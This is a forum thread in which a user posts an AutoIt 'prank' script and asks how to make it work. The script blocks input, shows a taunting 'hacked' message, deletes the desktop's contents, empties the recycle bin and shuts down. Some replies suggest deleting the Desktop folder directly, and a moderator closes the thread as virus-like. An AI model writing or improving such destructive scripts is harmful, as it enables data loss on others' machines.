Sign in to follow this  
Followers 0
AidanProsser

HELP - how to select specific icons on desktop?

18 posts in this topic

#1 ·  Posted (edited)

ok.. so im making a simple script to highlight everything on the desktop and then delete it.. (send to recycle bin).. to do this im using MouseClickDrag from one corner of the screen to the other, which works, and then sends "Delete" .. to send to the recycle bin. The highlighting of all my desktop icons works, however it also highlights the Recycle Bin.. and when this is selected you cannot delete the files on the desktop. I was wondering how to select all icons on the desktop, then DEselect the recycle bin, then send "Delete". 

#requireadmin
$x = @DesktopWidth
$y = @desktopheight

blockinput()
winminimizeall()
Run("notepad.exe")
WinWaitActive("Untitled - Notepad")
Send("HAHAHA, i just hacked ur PC, u moron - Love Aidan.... Program Termination in :    ")
For $i = 5 to 1 step -1
   Send($i & @crlf)
   Send("{TAB 8}")
   Sleep(1000)
Next
WinClose("Untitled - Notepad")
WinWaitActive("Notepad","Save")
Send("!n")

winminimizeall()
mouseclickdrag("left",$x - 15,$y * 0.95,10,10,5)
send("{DELETE}")
sleep(300)
send("{ENTER}")

sleep(500)
filerecycleempty()

sleep(200)
shutdown()

I assure you, this may look like a potentially hazardous script to whoever may use it.. but this is for my own learning experience and entertainment.. (will be using on an old laptop to see what i can make it do :P)

Edited by AidanProsser

Share this post


Link to post
Share on other sites



You do realize that there's a desktop folder in the user's profile folder right? You can delete the files from there a LOT easier than manipulating the mouse over the desktop.


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

Hmm, yes but i would still have to select all the desktop icons in the user profile folder, and i am still too inexperienced to work out how to deselect the recycle bin (as i said before if the recycle bin is selected along with the other items on the desktop to delete, you are unable to delete the items).

Share this post


Link to post
Share on other sites

There are no icons in a folder, there's only files. There's no link to the recycle bin in the Desktop folder. You should open Windows explorer and go to your C:Users<your user name>Desktop folder and see what's in there.


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

Im looking in my desktop folder and i can see the recycle bin in there

Share this post


Link to post
Share on other sites

There isn't one in any of the computers that I have access to at this time, and that's 2 with Win7 and one Vista machine. If you have a recycle bin in your desktop folder, it's probably a shortcut and not the actual recycle bin, which is on the root of every drive, in a folder called $Recycle Bin or Recycler.


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

OHH.. you are 100% correct, my fault.. was looking at the wrong directory.. thank you so much :P

Share this post


Link to post
Share on other sites

#8 ·  Posted (edited)

One last thing, how would I open the C:Users<your user name>Desktop folder using AutoIt? ... Granted that the username could be unknown to me.. say that I then used the program on a different computer with a different username.. I would want it to still work.

Edited by AidanProsser

Share this post


Link to post
Share on other sites

Nah, ShellExecute(@DesktopDir) takes me to the computer desktop rather than the user desktop... if that makes sense.. I found ShellExecute(@UserProfileDir) and that took me to the user profile.. now i need to select the desktop icon located in the user profile.. below is a link to the image - 

http://imgur.com/oU9Ld25

Any ideas on how to do this? 

Share this post


Link to post
Share on other sites

FileDelete(@UserProfileDir&"\Desktop")

Share this post


Link to post
Share on other sites

#12 ·  Posted (edited)

^ does not work, code runs but my desktop icons are still there

Edited by AidanProsser

Share this post


Link to post
Share on other sites

Are you sure they're in YOUR desktop and not in the AllUsers desktop?


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

when i tested 

ShellExecute(@UserProfileDir&"\Desktop")

it took me to the AllUsers desktop .. i then proceeded with 

FileDelete(@UserProfileDir&"\Desktop")

.. i noticed only a few icons were deleted.

Share this post


Link to post
Share on other sites

#15 ·  Posted (edited)

To be honest, wouldn't it be a lot easier if somone could tell me how to highlight all icons on the desktop.. then control click the recycle bin to deselect it.. then delete?
Just I do not know any of the Control ID / Title to use

Edited by AidanProsser

Share this post


Link to post
Share on other sites

To be honest, wouldn't it be a lot easier if somone could tell me how to highlight all icons on the desktop.. then control click the recycle bin to deselect it.. then delete?

Just I do not know any of the Control ID / Title to use

I honestly fail to see the use of this other that shooting yourself in the foot.

So what is really your goal here as this all sounds quite vague to me?

Jos


Visit the SciTE4AutoIt3 Download page for the latest versions  - Beta files                                How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

#17 ·  Posted (edited)

Basically im trying to see what i can do to my old laptop (this is what is next to my main computer).. To see, for example what if i could lock myself out from user input, send a troll message to myself via notepad, close notepad without saving, highlight everything on the desktop, delete it and then shut down the computer. It's just a personal mini system screwer that i thought would be fun to make for a laptop i no longer use.. But am encountering problems in trying to delete the icons on the desktop. As fir my goal.. There really isnt one other for my own entertainment and to help familiarise myself with scripting.

Edited by AidanProsser

Share this post


Link to post
Share on other sites

#18 ·  Posted (edited)

Basically im trying to see what i can do to my old laptop (this is what is next to my main computer).. To see, for example what if i could lock myself out from user input, send a troll message to myself via notepad, close notepad without saving, highlight everything on the desktop, delete it and then shut down the computer. It's just a personal mini system screwer that i thought would be fun to make for a laptop i no longer use.. But am encountering problems in trying to delete the icons on the desktop. As fir my goal.. There really isnt one other for my own entertainment and to help familiarise myself with scripting.

Understood and let's not develop that in your forums through the questions you ask here, as we are quite against any form of prank scripts let alone when they border against the fact they become a virus.

-click-

Jos

Edited by Jos

Visit the SciTE4AutoIt3 Download page for the latest versions  - Beta files                                How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  
Followers 0